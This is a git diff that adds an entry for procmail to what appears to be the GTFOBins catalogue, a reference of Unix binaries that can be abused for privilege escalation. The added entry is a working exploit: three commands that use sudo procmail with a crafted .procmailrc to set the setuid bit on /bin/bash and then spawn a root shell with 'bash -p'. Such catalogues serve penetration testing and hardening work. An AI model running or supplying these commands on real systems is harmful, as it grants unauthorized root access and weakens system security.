diff --git a/_gtfobins/procmail.md b/_gtfobins/procmail.md
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--- /dev/null
+++ b/_gtfobins/procmail.md
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+---
+description: |
+    Procmail is an email server software component.
+functions:
+  sudo:
+   - description: By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want.
+     code: |
+        echo -e ':0\n| chmod u+s /bin/bash' > .procmailrc
+        echo "gtfobins" | sudo procmail -m .procmailrc
+        bash -p
+---